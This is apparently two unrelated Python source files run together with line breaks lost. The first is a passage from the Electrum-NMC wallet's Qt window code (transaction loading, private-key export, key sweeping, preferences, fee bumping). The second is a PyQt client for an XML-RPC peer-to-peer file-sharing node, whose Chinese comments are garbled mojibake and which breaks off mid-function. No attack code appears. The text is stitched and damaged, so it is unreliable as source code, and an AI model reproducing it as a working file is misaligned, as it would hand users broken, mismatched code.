tx_from_str(txt) return Transaction(tx) except BaseException as e: self.show_critical(_("Electrum was unable to parse your transaction") + ":\n" + str(e)) return def read_tx_from_qrcode(self): from electrum_nmc import qrscanner try: data = qrscanner.scan_barcode(self.config.get_video_device()) except BaseException as e: self.show_error(str(e)) return if not data: return # if the user scanned a bitcoin URI if str(data).startswith("namecoin:"): self.pay_to_URI(data) return # else if the user scanned an offline signed tx try: data = bh2u(bitcoin.base_decode(data, length=None, base=43)) except BaseException as e: self.show_error((_('Could not decode QR code')+':\n{}').format(e)) return tx = self.tx_from_text(data) if not tx: return self.show_transaction(tx) def read_tx_from_file(self): fileName = self.getOpenFileName(_("Select your transaction file"), "*.txn") if not fileName: return try: with open(fileName, "r") as f: file_content = f.read() except (ValueError, IOError, os.error) as reason: self.show_critical(_("Electrum was unable to open your transaction file") + "\n" + str(reason), title=_("Unable to read file or no transaction found")) return return self.tx_from_text(file_content) def do_process_from_text(self): text = text_dialog(self, _('Input raw transaction'), _("Transaction:"), _("Load transaction")) if not text: return tx = self.tx_from_text(text) if tx: self.show_transaction(tx) def do_process_from_file(self): tx = self.read_tx_from_file() if tx: self.show_transaction(tx) def do_process_from_txid(self): from electrum_nmc import transaction txid, ok = QInputDialog.getText(self, _('Lookup transaction'), _('Transaction ID') + ':') if ok and txid: txid = str(txid).strip() try: r = self.network.synchronous_get(('blockchain.transaction.get',[txid])) except BaseException as e: self.show_message(str(e)) return tx = transaction.Transaction(r) self.show_transaction(tx) @protected def export_privkeys_dialog(self, password): if self.wallet.is_watching_only(): self.show_message(_("This is a watching-only wallet")) return if isinstance(self.wallet, Multisig_Wallet): self.show_message(_('WARNING: This is a multi-signature wallet.') + '\n' + _('It cannot be "backed up" by simply exporting these private keys.')) d = WindowModalDialog(self, _('Private keys')) d.setMinimumSize(980, 300) vbox = QVBoxLayout(d) msg = "%s\n%s\n%s" % (_("WARNING: ALL your private keys are secret."), _("Exposing a single private key can compromise your entire wallet!"), _("In particular, DO NOT use 'redeem private key' services proposed by third parties.")) vbox.addWidget(QLabel(msg)) e = QTextEdit() e.setReadOnly(True) vbox.addWidget(e) defaultname = 'electrum-nmc-private-keys.csv' select_msg = _('Select file to export your private keys to') hbox, filename_e, csv_button = filename_field(self, self.config, defaultname, select_msg) vbox.addLayout(hbox) b = OkButton(d, _('Export')) b.setEnabled(False) vbox.addLayout(Buttons(CancelButton(d), b)) private_keys = {} addresses = self.wallet.get_addresses() done = False cancelled = False def privkeys_thread(): for addr in addresses: time.sleep(0.1) if done or cancelled: break privkey = self.wallet.export_private_key(addr, password)[0] private_keys[addr] = privkey self.computing_privkeys_signal.emit() if not cancelled: self.computing_privkeys_signal.disconnect() self.show_privkeys_signal.emit() def show_privkeys(): s = "\n".join( map( lambda x: x[0] + "\t"+ x[1], private_keys.items())) e.setText(s) b.setEnabled(True) self.show_privkeys_signal.disconnect() nonlocal done done = True def on_dialog_closed(*args): nonlocal done nonlocal cancelled if not done: cancelled = True self.computing_privkeys_signal.disconnect() self.show_privkeys_signal.disconnect() self.computing_privkeys_signal.connect(lambda: e.setText("Please wait... %d/%d"%(len(private_keys),len(addresses)))) self.show_privkeys_signal.connect(show_privkeys) d.finished.connect(on_dialog_closed) threading.Thread(target=privkeys_thread).start() if not d.exec_(): done = True return filename = filename_e.text() if not filename: return try: self.do_export_privkeys(filename, private_keys, csv_button.isChecked()) except (IOError, os.error) as reason: txt = "\n".join([ _("Electrum was unable to produce a private key-export."), str(reason) ]) self.show_critical(txt, title=_("Unable to create csv")) except Exception as e: self.show_message(str(e)) return self.show_message(_("Private keys exported.")) def do_export_privkeys(self, fileName, pklist, is_csv): with open(fileName, "w+") as f: if is_csv: transaction = csv.writer(f) transaction.writerow(["address", "private_key"]) for addr, pk in pklist.items(): transaction.writerow(["%34s"%addr,pk]) else: import json f.write(json.dumps(pklist, indent = 4)) def do_import_labels(self): def import_labels(path): def _validate(data): return data # TODO def import_labels_assign(data): for key, value in data.items(): self.wallet.set_label(key, value) import_meta(path, _validate, import_labels_assign) def on_import(): self.need_update.set() import_meta_gui(self, _('labels'), import_labels, on_import) def do_export_labels(self): def export_labels(filename): export_meta(self.wallet.labels, filename) export_meta_gui(self, _('labels'), export_labels) def sweep_key_dialog(self): d = WindowModalDialog(self, title=_('Sweep private keys')) d.setMinimumSize(600, 300) vbox = QVBoxLayout(d) vbox.addWidget(QLabel(_("Enter private keys:"))) keys_e = ScanQRTextEdit(allow_multi=True) keys_e.setTabChangesFocus(True) vbox.addWidget(keys_e) addresses = self.wallet.get_unused_addresses() if not addresses: try: addresses = self.wallet.get_receiving_addresses() except AttributeError: addresses = self.wallet.get_addresses() h, address_e = address_field(addresses) vbox.addLayout(h) vbox.addStretch(1) button = OkButton(d, _('Sweep')) vbox.addLayout(Buttons(CancelButton(d), button)) button.setEnabled(False) def get_address(): addr = str(address_e.text()).strip() if bitcoin.is_address(addr): return addr def get_pk(): text = str(keys_e.toPlainText()) return keystore.get_private_keys(text) f = lambda: button.setEnabled(get_address() is not None and get_pk() is not None) on_address = lambda text: address_e.setStyleSheet((ColorScheme.DEFAULT if get_address() else ColorScheme.RED).as_stylesheet()) keys_e.textChanged.connect(f) address_e.textChanged.connect(f) address_e.textChanged.connect(on_address) if not d.exec_(): return from electrum_nmc.wallet import sweep_preparations try: self.do_clear() coins, keypairs = sweep_preparations(get_pk(), self.network) self.tx_external_keypairs = keypairs self.spend_coins(coins) self.payto_e.setText(get_address()) self.spend_max() self.payto_e.setFrozen(True) self.amount_e.setFrozen(True) except BaseException as e: self.show_message(str(e)) return self.warn_if_watching_only() def _do_import(self, title, msg, func): text = text_dialog(self, title, msg + ' :', _('Import'), allow_multi=True) if not text: return bad = [] good = [] for key in str(text).split(): try: addr = func(key) good.append(addr) except BaseException as e: bad.append(key) continue if good: self.show_message(_("The following addresses were added") + ':\n' + '\n'.join(good)) if bad: self.show_critical(_("The following inputs could not be imported") + ':\n'+ '\n'.join(bad)) self.address_list.update() self.history_list.update() def import_addresses(self): if not self.wallet.can_import_address(): return title, msg = _('Import addresses'), _("Enter addresses") self._do_import(title, msg, self.wallet.import_address) @protected def do_import_privkey(self, password): if not self.wallet.can_import_privkey(): return title, msg = _('Import private keys'), _("Enter private keys") self._do_import(title, msg, lambda x: self.wallet.import_private_key(x, password)) def update_fiat(self): b = self.fx and self.fx.is_enabled() self.fiat_send_e.setVisible(b) self.fiat_receive_e.setVisible(b) self.history_list.refresh_headers() self.history_list.update() self.address_list.refresh_headers() self.address_list.update() self.update_status() def settings_dialog(self): self.need_restart = False d = WindowModalDialog(self, _('Preferences')) vbox = QVBoxLayout() tabs = QTabWidget() gui_widgets = [] fee_widgets = [] tx_widgets = [] id_widgets = [] # language lang_help = _('Select which language is used in the GUI (after restart).') lang_label = HelpLabel(_('Language') + ':', lang_help) lang_combo = QComboBox() from electrum_nmc.i18n import languages lang_combo.addItems(list(languages.values())) lang_keys = list(languages.keys()) lang_cur_setting = self.config.get("language", '') try: index = lang_keys.index(lang_cur_setting) except ValueError: # not in list index = 0 lang_combo.setCurrentIndex(index) if not self.config.is_modifiable('language'): for w in [lang_combo, lang_label]: w.setEnabled(False) def on_lang(x): lang_request = list(languages.keys())[lang_combo.currentIndex()] if lang_request != self.config.get('language'): self.config.set_key("language", lang_request, True) self.need_restart = True lang_combo.currentIndexChanged.connect(on_lang) gui_widgets.append((lang_label, lang_combo)) nz_help = _('Number of zeros displayed after the decimal point. For example, if this is set to 2, "1." will be displayed as "1.00"') nz_label = HelpLabel(_('Zeros after decimal point') + ':', nz_help) nz = QSpinBox() nz.setMinimum(0) nz.setMaximum(self.decimal_point) nz.setValue(self.num_zeros) if not self.config.is_modifiable('num_zeros'): for w in [nz, nz_label]: w.setEnabled(False) def on_nz(): value = nz.value() if self.num_zeros != value: self.num_zeros = value self.config.set_key('num_zeros', value, True) self.history_list.update() self.address_list.update() nz.valueChanged.connect(on_nz) gui_widgets.append((nz_label, nz)) msg = '\n'.join([ _('Time based: fee rate is based on average confirmation time estimates'), _('Mempool based: fee rate is targeting a depth in the memory pool') ] ) fee_type_label = HelpLabel(_('Fee estimation') + ':', msg) fee_type_combo = QComboBox() fee_type_combo.addItems([_('Static'), _('ETA'), _('Mempool')]) fee_type_combo.setCurrentIndex((2 if self.config.use_mempool_fees() else 1) if self.config.is_dynfee() else 0) def on_fee_type(x): self.config.set_key('mempool_fees', x==2) self.config.set_key('dynamic_fees', x>0) self.fee_slider.update() fee_type_combo.currentIndexChanged.connect(on_fee_type) fee_widgets.append((fee_type_label, fee_type_combo)) feebox_cb = QCheckBox(_('Edit fees manually')) feebox_cb.setChecked(self.config.get('show_fee', False)) feebox_cb.setToolTip(_("Show fee edit box in send tab.")) def on_feebox(x): self.config.set_key('show_fee', x == Qt.Checked) self.fee_adv_controls.setVisible(bool(x)) feebox_cb.stateChanged.connect(on_feebox) fee_widgets.append((feebox_cb, None)) use_rbf_cb = QCheckBox(_('Use Replace-By-Fee')) use_rbf_cb.setChecked(self.config.get('use_rbf', True)) use_rbf_cb.setToolTip( _('If you check this box, your transactions will be marked as non-final,') + '\n' + \ _('and you will have the possibility, while they are unconfirmed, to replace them with transactions that pay higher fees.') + '\n' + \ _('Note that some merchants do not accept non-final transactions until they are confirmed.')) def on_use_rbf(x): self.config.set_key('use_rbf', x == Qt.Checked) use_rbf_cb.stateChanged.connect(on_use_rbf) fee_widgets.append((use_rbf_cb, None)) msg = _('OpenAlias record, used to receive coins and to sign payment requests.') + '\n\n'\ + _('The following alias providers are available:') + '\n'\ + '\n'.join(['https://cryptoname.co/', 'http://xmr.link']) + '\n\n'\ + 'For more information, see https://openalias.org' alias_label = HelpLabel(_('OpenAlias') + ':', msg) alias = self.config.get('alias','') alias_e = QLineEdit(alias) def set_alias_color(): if not self.config.get('alias'): alias_e.setStyleSheet("") return if self.alias_info: alias_addr, alias_name, validated = self.alias_info alias_e.setStyleSheet((ColorScheme.GREEN if validated else ColorScheme.RED).as_stylesheet(True)) else: alias_e.setStyleSheet(ColorScheme.RED.as_stylesheet(True)) def on_alias_edit(): alias_e.setStyleSheet("") alias = str(alias_e.text()) self.config.set_key('alias', alias, True) if alias: self.fetch_alias() set_alias_color() self.alias_received_signal.connect(set_alias_color) alias_e.editingFinished.connect(on_alias_edit) id_widgets.append((alias_label, alias_e)) # SSL certificate msg = ' '.join([ _('SSL certificate used to sign payment requests.'), _('Use setconfig to set ssl_chain and ssl_privkey.'), ]) if self.config.get('ssl_privkey') or self.config.get('ssl_chain'): try: SSL_identity = paymentrequest.check_ssl_config(self.config) SSL_error = None except BaseException as e: SSL_identity = "error" SSL_error = str(e) else: SSL_identity = "" SSL_error = None SSL_id_label = HelpLabel(_('SSL certificate') + ':', msg) SSL_id_e = QLineEdit(SSL_identity) SSL_id_e.setStyleSheet((ColorScheme.RED if SSL_error else ColorScheme.GREEN).as_stylesheet(True) if SSL_identity else '') if SSL_error: SSL_id_e.setToolTip(SSL_error) SSL_id_e.setReadOnly(True) id_widgets.append((SSL_id_label, SSL_id_e)) units = base_units_list msg = (_('Base unit of your wallet.') + '\n1 NMC = 1000 mNMC. 1 mNMC = 1000 uNMC. 1 uNMC = 100 swartz.\n' + _('This setting affects the Send tab, and all balance related fields.')) unit_label = HelpLabel(_('Base unit') + ':', msg) unit_combo = QComboBox() unit_combo.addItems(units) unit_combo.setCurrentIndex(units.index(self.base_unit())) def on_unit(x, nz): unit_result = units[unit_combo.currentIndex()] if self.base_unit() == unit_result: return edits = self.amount_e, self.fee_e, self.receive_amount_e amounts = [edit.get_amount() for edit in edits] self.decimal_point = base_unit_name_to_decimal_point(unit_result) self.config.set_key('decimal_point', self.decimal_point, True) nz.setMaximum(self.decimal_point) self.history_list.update() self.request_list.update() self.address_list.update() for edit, amount in zip(edits, amounts): edit.setAmount(amount) self.update_status() unit_combo.currentIndexChanged.connect(lambda x: on_unit(x, nz)) gui_widgets.append((unit_label, unit_combo)) block_explorers = sorted(util.block_explorer_info().keys()) msg = _('Choose which online block explorer to use for functions that open a web browser') block_ex_label = HelpLabel(_('Online Block Explorer') + ':', msg) block_ex_combo = QComboBox() block_ex_combo.addItems(block_explorers) block_ex_combo.setCurrentIndex(block_ex_combo.findText(util.block_explorer(self.config))) def on_be(x): be_result = block_explorers[block_ex_combo.currentIndex()] self.config.set_key('block_explorer', be_result, True) block_ex_combo.currentIndexChanged.connect(on_be) gui_widgets.append((block_ex_label, block_ex_combo)) from electrum_nmc import qrscanner system_cameras = qrscanner._find_system_cameras() qr_combo = QComboBox() qr_combo.addItem("Default","default") for camera, device in system_cameras.items(): qr_combo.addItem(camera, device) #combo.addItem("Manually specify a device", config.get("video_device")) index = qr_combo.findData(self.config.get("video_device")) qr_combo.setCurrentIndex(index) msg = _("Install the zbar package to enable this.") qr_label = HelpLabel(_('Video Device') + ':', msg) qr_combo.setEnabled(qrscanner.libzbar is not None) on_video_device = lambda x: self.config.set_key("video_device", qr_combo.itemData(x), True) qr_combo.currentIndexChanged.connect(on_video_device) gui_widgets.append((qr_label, qr_combo)) usechange_cb = QCheckBox(_('Use change addresses')) usechange_cb.setChecked(self.wallet.use_change) if not self.config.is_modifiable('use_change'): usechange_cb.setEnabled(False) def on_usechange(x): usechange_result = x == Qt.Checked if self.wallet.use_change != usechange_result: self.wallet.use_change = usechange_result self.wallet.storage.put('use_change', self.wallet.use_change) multiple_cb.setEnabled(self.wallet.use_change) usechange_cb.stateChanged.connect(on_usechange) usechange_cb.setToolTip(_('Using change addresses makes it more difficult for other people to track your transactions.')) tx_widgets.append((usechange_cb, None)) def on_multiple(x): multiple = x == Qt.Checked if self.wallet.multiple_change != multiple: self.wallet.multiple_change = multiple self.wallet.storage.put('multiple_change', multiple) multiple_change = self.wallet.multiple_change multiple_cb = QCheckBox(_('Use multiple change addresses')) multiple_cb.setEnabled(self.wallet.use_change) multiple_cb.setToolTip('\n'.join([ _('In some cases, use up to 3 change addresses in order to break ' 'up large coin amounts and obfuscate the recipient address.'), _('This may result in higher transactions fees.') ])) multiple_cb.setChecked(multiple_change) multiple_cb.stateChanged.connect(on_multiple) tx_widgets.append((multiple_cb, None)) def fmt_docs(key, klass): lines = [ln.lstrip(" ") for ln in klass.__doc__.split("\n")] return '\n'.join([key, "", " ".join(lines)]) choosers = sorted(coinchooser.COIN_CHOOSERS.keys()) if len(choosers) > 1: chooser_name = coinchooser.get_name(self.config) msg = _('Choose coin (UTXO) selection method. The following are available:\n\n') msg += '\n\n'.join(fmt_docs(*item) for item in coinchooser.COIN_CHOOSERS.items()) chooser_label = HelpLabel(_('Coin selection') + ':', msg) chooser_combo = QComboBox() chooser_combo.addItems(choosers) i = choosers.index(chooser_name) if chooser_name in choosers else 0 chooser_combo.setCurrentIndex(i) def on_chooser(x): chooser_name = choosers[chooser_combo.currentIndex()] self.config.set_key('coin_chooser', chooser_name) chooser_combo.currentIndexChanged.connect(on_chooser) tx_widgets.append((chooser_label, chooser_combo)) def on_unconf(x): self.config.set_key('confirmed_only', bool(x)) conf_only = self.config.get('confirmed_only', False) unconf_cb = QCheckBox(_('Spend only confirmed coins')) unconf_cb.setToolTip(_('Spend only confirmed inputs.')) unconf_cb.setChecked(conf_only) unconf_cb.stateChanged.connect(on_unconf) tx_widgets.append((unconf_cb, None)) def on_outrounding(x): self.config.set_key('coin_chooser_output_rounding', bool(x)) enable_outrounding = self.config.get('coin_chooser_output_rounding', False) outrounding_cb = QCheckBox(_('Enable output value rounding')) outrounding_cb.setToolTip( _('Set the value of the change output so that it has similar precision to the other outputs.') + '\n' + _('This might improve your privacy somewhat.') + '\n' + _('If enabled, at most 100 satoshis might be lost due to this, per transaction.')) outrounding_cb.setChecked(enable_outrounding) outrounding_cb.stateChanged.connect(on_outrounding) tx_widgets.append((outrounding_cb, None)) # Fiat Currency hist_checkbox = QCheckBox() hist_capgains_checkbox = QCheckBox() fiat_address_checkbox = QCheckBox() ccy_combo = QComboBox() ex_combo = QComboBox() def update_currencies(): if not self.fx: return currencies = sorted(self.fx.get_currencies(self.fx.get_history_config())) ccy_combo.clear() ccy_combo.addItems([_('None')] + currencies) if self.fx.is_enabled(): ccy_combo.setCurrentIndex(ccy_combo.findText(self.fx.get_currency())) def update_history_cb(): if not self.fx: return hist_checkbox.setChecked(self.fx.get_history_config()) hist_checkbox.setEnabled(self.fx.is_enabled()) def update_fiat_address_cb(): if not self.fx: return fiat_address_checkbox.setChecked(self.fx.get_fiat_address_config()) def update_history_capgains_cb(): if not self.fx: return hist_capgains_checkbox.setChecked(self.fx.get_history_capital_gains_config()) hist_capgains_checkbox.setEnabled(hist_checkbox.isChecked()) def update_exchanges(): if not self.fx: return b = self.fx.is_enabled() ex_combo.setEnabled(b) if b: h = self.fx.get_history_config() c = self.fx.get_currency() exchanges = self.fx.get_exchanges_by_ccy(c, h) else: exchanges = self.fx.get_exchanges_by_ccy('USD', False) ex_combo.clear() ex_combo.addItems(sorted(exchanges)) ex_combo.setCurrentIndex(ex_combo.findText(self.fx.config_exchange())) def on_currency(hh): if not self.fx: return b = bool(ccy_combo.currentIndex()) ccy = str(ccy_combo.currentText()) if b else None self.fx.set_enabled(b) if b and ccy != self.fx.ccy: self.fx.set_currency(ccy) update_history_cb() update_exchanges() self.update_fiat() def on_exchange(idx): exchange = str(ex_combo.currentText()) if self.fx and self.fx.is_enabled() and exchange and exchange != self.fx.exchange.name(): self.fx.set_exchange(exchange) def on_history(checked): if not self.fx: return self.fx.set_history_config(checked) update_exchanges() self.history_list.refresh_headers() if self.fx.is_enabled() and checked: # reset timeout to get historical rates self.fx.timeout = 0 update_history_capgains_cb() def on_history_capgains(checked): if not self.fx: return self.fx.set_history_capital_gains_config(checked) self.history_list.refresh_headers() def on_fiat_address(checked): if not self.fx: return self.fx.set_fiat_address_config(checked) self.address_list.refresh_headers() self.address_list.update() update_currencies() update_history_cb() update_history_capgains_cb() update_fiat_address_cb() update_exchanges() ccy_combo.currentIndexChanged.connect(on_currency) hist_checkbox.stateChanged.connect(on_history) hist_capgains_checkbox.stateChanged.connect(on_history_capgains) fiat_address_checkbox.stateChanged.connect(on_fiat_address) ex_combo.currentIndexChanged.connect(on_exchange) fiat_widgets = [] fiat_widgets.append((QLabel(_('Fiat currency')), ccy_combo)) fiat_widgets.append((QLabel(_('Show history rates')), hist_checkbox)) fiat_widgets.append((QLabel(_('Show capital gains in history')), hist_capgains_checkbox)) fiat_widgets.append((QLabel(_('Show Fiat balance for addresses')), fiat_address_checkbox)) fiat_widgets.append((QLabel(_('Source')), ex_combo)) tabs_info = [ (fee_widgets, _('Fees')), (tx_widgets, _('Transactions')), (gui_widgets, _('Appearance')), (fiat_widgets, _('Fiat')), (id_widgets, _('Identity')), ] for widgets, name in tabs_info: tab = QWidget() grid = QGridLayout(tab) grid.setColumnStretch(0,1) for a,b in widgets: i = grid.rowCount() if b: if a: grid.addWidget(a, i, 0) grid.addWidget(b, i, 1) else: grid.addWidget(a, i, 0, 1, 2) tabs.addTab(tab, name) vbox.addWidget(tabs) vbox.addStretch(1) vbox.addLayout(Buttons(CloseButton(d))) d.setLayout(vbox) # run the dialog d.exec_() if self.fx: self.fx.timeout = 0 self.alias_received_signal.disconnect(set_alias_color) run_hook('close_settings_dialog') if self.need_restart: self.show_warning(_('Please restart Electrum to activate the new GUI settings'), title=_('Success')) def closeEvent(self, event): # It seems in some rare cases this closeEvent() is called twice if not self.cleaned_up: self.cleaned_up = True self.clean_up() event.accept() def clean_up(self): self.wallet.thread.stop() if self.network: self.network.unregister_callback(self.on_network) self.config.set_key("is_maximized", self.isMaximized()) if not self.isMaximized(): g = self.geometry() self.wallet.storage.put("winpos-qt", [g.left(),g.top(), g.width(),g.height()]) self.config.set_key("console-history", self.console.history[-50:], True) if self.qr_window: self.qr_window.close() self.close_wallet() self.gui_object.close_window(self) def plugins_dialog(self): self.pluginsdialog = d = WindowModalDialog(self, _('Electrum Plugins')) plugins = self.gui_object.plugins vbox = QVBoxLayout(d) # plugins scroll = QScrollArea() scroll.setEnabled(True) scroll.setWidgetResizable(True) scroll.setMinimumSize(400,250) vbox.addWidget(scroll) w = QWidget() scroll.setWidget(w) w.setMinimumHeight(plugins.count() * 35) grid = QGridLayout() grid.setColumnStretch(0,1) w.setLayout(grid) settings_widgets = {} def enable_settings_widget(p, name, i): widget = settings_widgets.get(name) if not widget and p and p.requires_settings(): widget = settings_widgets[name] = p.settings_widget(d) grid.addWidget(widget, i, 1) if widget: widget.setEnabled(bool(p and p.is_enabled())) def do_toggle(cb, name, i): p = plugins.toggle(name) cb.setChecked(bool(p)) enable_settings_widget(p, name, i) run_hook('init_qt', self.gui_object) for i, descr in enumerate(plugins.descriptions.values()): name = descr['__name__'] p = plugins.get(name) if descr.get('registers_keystore'): continue try: cb = QCheckBox(descr['fullname']) plugin_is_loaded = p is not None cb_enabled = (not plugin_is_loaded and plugins.is_available(name, self.wallet) or plugin_is_loaded and p.can_user_disable()) cb.setEnabled(cb_enabled) cb.setChecked(plugin_is_loaded and p.is_enabled()) grid.addWidget(cb, i, 0) enable_settings_widget(p, name, i) cb.clicked.connect(partial(do_toggle, cb, name, i)) msg = descr['description'] if descr.get('requires'): msg += '\n\n' + _('Requires') + ':\n' + '\n'.join(map(lambda x: x[1], descr.get('requires'))) grid.addWidget(HelpButton(msg), i, 2) except Exception: self.print_msg("error: cannot display plugin", name) traceback.print_exc(file=sys.stdout) grid.setRowStretch(len(plugins.descriptions.values()), 1) vbox.addLayout(Buttons(CloseButton(d))) d.exec_() def cpfp(self, parent_tx, new_tx): total_size = parent_tx.estimated_size() + new_tx.estimated_size() d = WindowModalDialog(self, _('Child Pays for Parent')) vbox = QVBoxLayout(d) msg = ( "A CPFP is a transaction that sends an unconfirmed output back to " "yourself, with a high fee. The goal is to have miners confirm " "the parent transaction in order to get the fee attached to the " "child transaction.") vbox.addWidget(WWLabel(_(msg))) msg2 = ("The proposed fee is computed using your " "fee/kB settings, applied to the total size of both child and " "parent transactions. After you broadcast a CPFP transaction, " "it is normal to see a new unconfirmed transaction in your history.") vbox.addWidget(WWLabel(_(msg2))) grid = QGridLayout() grid.addWidget(QLabel(_('Total size') + ':'), 0, 0) grid.addWidget(QLabel('%d bytes'% total_size), 0, 1) max_fee = new_tx.output_value() grid.addWidget(QLabel(_('Input amount') + ':'), 1, 0) grid.addWidget(QLabel(self.format_amount(max_fee) + ' ' + self.base_unit()), 1, 1) output_amount = QLabel('') grid.addWidget(QLabel(_('Output amount') + ':'), 2, 0) grid.addWidget(output_amount, 2, 1) fee_e = BTCAmountEdit(self.get_decimal_point) # FIXME with dyn fees, without estimates, there are all kinds of crashes here def f(x): a = max_fee - fee_e.get_amount() output_amount.setText((self.format_amount(a) + ' ' + self.base_unit()) if a else '') fee_e.textChanged.connect(f) fee = self.config.fee_per_kb() * total_size / 1000 fee_e.setAmount(fee) grid.addWidget(QLabel(_('Fee' + ':')), 3, 0) grid.addWidget(fee_e, 3, 1) def on_rate(dyn, pos, fee_rate): fee = fee_rate * total_size / 1000 fee = min(max_fee, fee) fee_e.setAmount(fee) fee_slider = FeeSlider(self, self.config, on_rate) fee_slider.update() grid.addWidget(fee_slider, 4, 1) vbox.addLayout(grid) vbox.addLayout(Buttons(CancelButton(d), OkButton(d))) if not d.exec_(): return fee = fee_e.get_amount() if fee > max_fee: self.show_error(_('Max fee exceeded')) return new_tx = self.wallet.cpfp(parent_tx, fee) new_tx.set_rbf(True) self.show_transaction(new_tx) def bump_fee_dialog(self, tx): is_relevant, is_mine, v, fee = self.wallet.get_wallet_delta(tx) if fee is None: self.show_error(_("Can't bump fee: unknown fee for original transaction.")) return tx_label = self.wallet.get_label(tx.txid()) tx_size = tx.estimated_size() d = WindowModalDialog(self, _('Bump Fee')) vbox = QVBoxLayout(d) vbox.addWidget(QLabel(_('Current fee') + ': %s'% self.format_amount(fee) + ' ' + self.base_unit())) vbox.addWidget(QLabel(_('New fee' + ':'))) fee_e = BTCAmountEdit(self.get_decimal_point) fee_e.setAmount(fee * 1.5) vbox.addWidget(fee_e) def on_rate(dyn, pos, fee_rate): fee = fee_rate * tx_size / 1000 fee_e.setAmount(fee) fee_slider = FeeSlider(self, self.config, on_rate) vbox.addWidget(fee_slider) cb = QCheckBox(_('Final')) vbox.addWidget(cb) vbox.addLayout(Buttons(CancelButton(d), OkButton(d))) if not d.exec_(): return is_final = cb.isChecked() new_fee = fee_e.get_amount() delta = new_fee - fee if delta < 0: self.show_error("fee too low") return try: new_tx = self.wallet.bump_fee(tx, delta) except BaseException as e: self.show_error(str(e)) return if is_final: new_tx.set_rbf(False) self.show_transaction(new_tx, tx_label) def save_transaction_into_wallet(self, tx): win = self.top_level_window() try: if not self.wallet.add_transaction(tx.txid(), tx): win.show_error(_("Transaction could not be saved.") + "\n" + _("It conflicts with current history.")) return False except AddTransactionException as e: win.show_error(e) return False else: self.wallet.save_transactions(write=True) # need to update at least: history_list, utxo_list, address_list self.need_update.set() msg = (_("Transaction added to wallet history.") + '\n\n' + _("Note: this is an offline transaction, if you want the network " "to see it, you need to broadcast it.")) win.msg_box(QPixmap(":icons/offline_tx.png"), None, _('Success'), msg) return True
clientgui_bilibili.py
from PyQt5.QtWidgets import QLabel, QWidget, QMainWindow, QApplication, QMessageBox from PyQt5.QtCore import QStringListModel,Qt from PyQt5.QtWidgets import QFileDialog, QListView # ๅฟ…้กปๅฏผๅ…ฅ๏ผŒๅฆๅˆ™ไผšๅ‡บ้”™ -1073740791 (0xC0000409) #from BilibiliUI import Ui_MainWindow # ใ€UIใ€‘ๆŒ‡็š„ๆ˜ฏUIๆ–‡ไปถ็š„ๆ–‡ไปถๅ from BilibiliBlueUI import Ui_MainWindow from os import path, listdir from server import Node, UNHANDLED # ๅ‘RPC Server่ฐƒ็”จๆ–นๆณ•,ๅนถๆŽฅๆ”ถๆ–นๆณ•็š„่ฟ”ๅ›žๆ•ฐๆฎ; from client import random_string from threading import Thread from time import sleep from xmlrpc.client import ServerProxy, Fault import sys HEAD_START = 0.1 # Seconds SECRET_LENGTH = 100 class ListableNode(Node): # ไปŽNodeๆดพ็”Ÿๅ‡บๅญ็ฑป๏ผŒไปŽ่€Œๆ–ฐๅขžไธ€ไธชๆ–นๆณ• def list(self): return listdir(self.dirname) class PyQtLogic(QMainWindow, Ui_MainWindow): # ๆž„้€ ๅ‡ฝๆ•ฐ๏ผŒQMainWindowsๆฅ่‡ชไบŽ from def __init__(self): super(PyQtLogic, self).__init__() # #้ฆ–ๅ…ˆๆ‰พๅˆฐๅญ็ฑป๏ผˆmy่ฝฌๆˆQWidget็š„ๅฏน่ฑก๏ผŒ็„ถๅŽ่ขซ่ฝฌๅŒ–็š„self่ฐƒ็”จ่‡ชๅทฑ็š„initๅ‡ฝๆ•ฐ self.setupUi(self) # #็›ดๆŽฅ็ปงๆ‰ฟ็•Œ้ข็ฑป๏ผŒ่ฐƒ็”จ็ฑป็š„setupUiๆ–นๆณ• self.setAttribute(Qt.WA_TranslucentBackground) # ้€ๆ˜Žๆ•ˆๆžœ self.setWindowFlags(Qt.FramelessWindowHint) # ๆ— ่พนๆก† self.prev_pos = None self.ActionInit() def ActionInit(self): self.label.addAction(self.closeui) self.label.addAction(self.ontop) self.groupBox.addAction(self.closeui) self.groupBox.addAction(self.ontop) # print('่ฎพ็ฝฎๅณ้”ฎ่œๅ•') def WinOnTop(self,bool): if bool: print('็ช—ๅฃ็ฝฎ้กถ') self.setAttribute(Qt.WA_TranslucentBackground) # ้€ๆ˜Žๆ•ˆๆžœ # self.setWindowFlags(Qt.WindowStaysOnTopHint) #็ฝฎ้กถ # # self.setWindowFlags(Qt.FramelessWindowHint) # ๆ— ่พนๆก† self.setWindowFlags(Qt.FramelessWindowHint|Qt.WindowStaysOnTopHint) #ๅŒๆ—ถๅฎž็Žฐ self.show() else: print('ๅ–ๆถˆ็ช—ๅฃ็ฝฎ้กถ') self.setWindowFlags(self.windowFlags()) #ๅ–ๆถˆ็ฝฎ้กถ self.setAttribute(Qt.WA_TranslucentBackground) # ้€ๆ˜Žๆ•ˆๆžœ self.setWindowFlags(Qt.FramelessWindowHint) # self.show() print('็ช—ๅฃ็ฝฎ้กถ') def mousePressEvent(self, e): self.prev_pos = e.globalPos() def mouseMoveEvent(self, e): if self.prev_pos: delta = e.globalPos() - self.prev_pos self.move(self.x() + delta.x(), self.y() + delta.y()) self.prev_pos = e.globalPos() def aboutthis(self): QMessageBox.about(self, 'ๅ…ณไบŽๆœฌ็จ‹ๅบ', 'ๅŸบไบŽXML-RPC็š„p2pๅ…ฑไบซ็จ‹ๅบ') def open(self): # ๆต่งˆ ๆงฝๅ‡ฝๆ•ฐ dirname = QFileDialog.getExistingDirectory(self, 'ๆ‰“ๅผ€ๆ–‡ไปถๅคน', 'C:\\Users\\wdther\\Desktop\\XML-RPC') # ้œ€่ฆ็”จๅˆฐ่ฝฌไน‰ๅญ—็ฌฆ \ ๅ› ๆญค่ฆ็”จ \\ๅŒๆ–œๆ  file1 = dirname + '\\urlfile.txt' self.dir.setText(file1) url = self.webaddress.text() self.tips.setText("็ฝ‘ๅ€ๅทฒ่Žทๅ–" + url) urlfile = file1 self.node_setup(url, dirname, urlfile) flag=0 self.update_list(flag) # ็–‘ๆƒ‘ไธบไป€ไนˆ่ฐƒ็”จ่ฟ™ไธชๅ‡ฝๆ•ฐ def fetch(self): query = self.filename.text() flag=1 print(query) try: self.server.fetch(query, self.secret) self.update_list(flag) except Fault as f: if f.faultCode != UNHANDLED: raise print("Couldn't find the file", query) def node_setup(self, url, dirname, urlfile): self.secret = random_string(SECRET_LENGTH) n = ListableNode(url, dirname, self.secret) # n = Node(url, dirname, self.secret) t = Thread(target=n._start) 